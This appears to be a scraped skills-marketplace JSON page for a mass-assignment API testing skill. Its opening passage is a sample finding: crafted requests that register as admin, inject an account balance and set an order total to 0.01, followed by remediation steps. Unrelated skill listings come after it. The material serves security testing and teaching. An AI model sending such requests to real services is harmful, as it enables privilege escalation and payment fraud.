\u002Fapi\u002Fv1\u002Fregister\n   {\"name\":\"Attacker\",\"email\":\"attacker@evil.com\",\"password\":\"P@ss123!\",\"role\":\"admin\"}\n   Response: {\"id\":5001,\"name\":\"Attacker\",\"role\":\"admin\",\"is_verified\":false}\n\n2. Update profile with injected balance:\n   PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme\n   {\"name\":\"Attacker\",\"balance\":99999.99}\n   Response: {\"id\":5001,\"balance\":99999.99}\n\n3. Create order with manipulated price:\n   POST \u002Fapi\u002Fv1\u002Forders\n   {\"items\":[{\"product_id\":42,\"qty\":1}],\"total\":0.01}\n   Response: {\"order_id\":8001,\"total\":0.01}\n\n**Impact**:\nAny user can gain administrative access, manipulate financial data,\nbypass security controls, and purchase products at arbitrary prices.\n\n**Remediation**:\n1. Implement DTOs\u002Finput schemas that explicitly define allowed fields per endpoint per role\n2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)\n3. Never bind request parameters directly to the data model\n4. Add integration tests that verify undocumented fields are rejected\n5. Use an allowlist approach rather than blocklist for writable fields\n```\n",{"name":5,"tags":25,"author":31,"domain":32,"license":15,"version":33,"subdomain":26,"description":34},[26,27,28,29,30],"api-security","owasp","mass-assignment","auto-binding","parameter-tampering","mahipal","cybersecurity","1.0.0","Tests APIs for mass assignment (auto-binding) vulnerabilities where clients can modify object properties they should not have access to by including additional parameters in API requests. The tester identifies writable endpoints, adds undocumented fields to request bodies (role, isAdmin, price, balance), and checks if the server binds these to the data model without filtering. Part of OWASP API3:2023 Broken Object Property Level Authorization. Activates for requests involving mass assignment testing, parameter binding abuse, auto-binding vulnerability, or API over-posting.\n","main","c2b1fdccc779e99ac814e55fb69ca8d71215dd0f","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection","https:\u002F\u002Fgithub.com\u002FSamuelChien","http:\u002F\u002Fsamuelchien.com\u002F","2026-05-26 08:27:14",{"source":8,"skillName":5,"commands":42,"prompt":52,"zipAvailable":53},[43,46,49],{"tool":44,"command":45},"npx","npx skills add SamuelChien\u002Fmega-skills-collection --skill testing-api-for-mass-assignment-vulnerability",{"tool":47,"command":48},"bunx","bunx skills add SamuelChien\u002Fmega-skills-collection --skill testing-api-for-mass-assignment-vulnerability",{"tool":50,"command":51},"pnpm","pnpm dlx skills add SamuelChien\u002Fmega-skills-collection --skill testing-api-for-mass-assignment-vulnerability","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Ftesting-api-for-mass-assignment-vulnerability\u002FSKILL.md",true,[55,59,65],{"path":56,"resourceType":56,"resourceTypeDesc":57,"sizeBytes":58,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":60,"resourceType":61,"resourceTypeDesc":62,"sizeBytes":63,"sourceHtmlUrl":64},"references\u002Fapi-reference.md","REFERENCE","参考文档",1854,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Ftesting-api-for-mass-assignment-vulnerability\u002Freferences\u002Fapi-reference.md",{"path":66,"resourceType":67,"resourceTypeDesc":68,"sizeBytes":69,"sourceHtmlUrl":70},"scripts\u002Fagent.py","SCRIPT","脚本",8168,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Ftesting-api-for-mass-assignment-vulnerability\u002Fscripts\u002Fagent.py",[72,80,87,94,101,108],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":76,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":20},"01M76R4WZQZAXGGXMQCA0FZ716","zustand-store-ts","Create Zustand stores with TypeScript, subscribeWithSelector middleware, and proper state\u002Faction separation. Use when building React state management, creating global stores, or implementing reactive state patterns with Zustand.","MIT","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzustand-store-ts\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":76,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":20},"01M76R4T9KENDH7FENGZQHBW4G","zustand-store-creator","Zustand Store Creator - Auto-activating skill for Frontend Development.\nTriggers on: zustand store creator, zustand store creator\nPart of the Frontend Development skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzustand-store-creator\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":76,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":20},"01M76R3YWN84B7SANJ52X799ZE","zero-trust-config-helper","Zero Trust Config Helper - Auto-activating skill for Security Advanced.\nTriggers on: zero trust config helper, zero trust config helper\nPart of the Security Advanced skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzero-trust-config-helper\u002FSKILL.md",[],[],{"skillNo":95,"name":96,"nameZh":6,"description":97,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":76,"licenseFileUrl":6,"sourceHtmlUrl":98,"categories":99,"keywords":100,"publishedAt":20},"01M76R3HNSV2AEYSKHM915GJ58","zapier-integration-helper","Zapier Integration Helper - Auto-activating skill for Business Automation.\nTriggers on: zapier integration helper, zapier integration helper\nPart of the Business Automation skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzapier-integration-helper\u002FSKILL.md",[],[],{"skillNo":102,"name":103,"nameZh":6,"description":104,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":105,"categories":106,"keywords":107,"publishedAt":20},"01M76R3DJSKAT4FA7DV4BF3GCE","zai-cli","Execute z.AI CLI providing vision, search, reader, and GitHub exploration via CLI and MCP.\nUse when user needs image\u002Fvideo analysis, OCR, UI-to-code conversion, error diagnosis,\nreal-time web search, web page to markdown extraction, or GitHub code exploration.\nTrigger with phrases like \"analyze this image\", \"search the web for\", \"read this page\",\n\"explore this repo\", or \"use zai\". Requires Z_AI_API_KEY.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzai-cli\u002FSKILL.md",[],[],{"skillNo":109,"name":110,"nameZh":6,"description":111,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":76,"licenseFileUrl":6,"sourceHtmlUrl":112,"categories":113,"keywords":114,"publishedAt":20},"01M76R2KAM699XE9AJVAWE4H2E","yt-research","Research competitor YouTube channels, niches, and trending topics for your content strategy.\nUse this skill whenever the user says \"research channels\", \"analyze competitors\", \"find trending topics\",\n\"niche analysis\", \"competitive research\", \"what are other creators doing\", \"scrape YouTube channels\",\nor wants to understand the competitive landscape for a specific tool or topic area. Use when working with yt research. Trigger with 'yt', 'research'.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fyt-research\u002FSKILL.md",[],[]]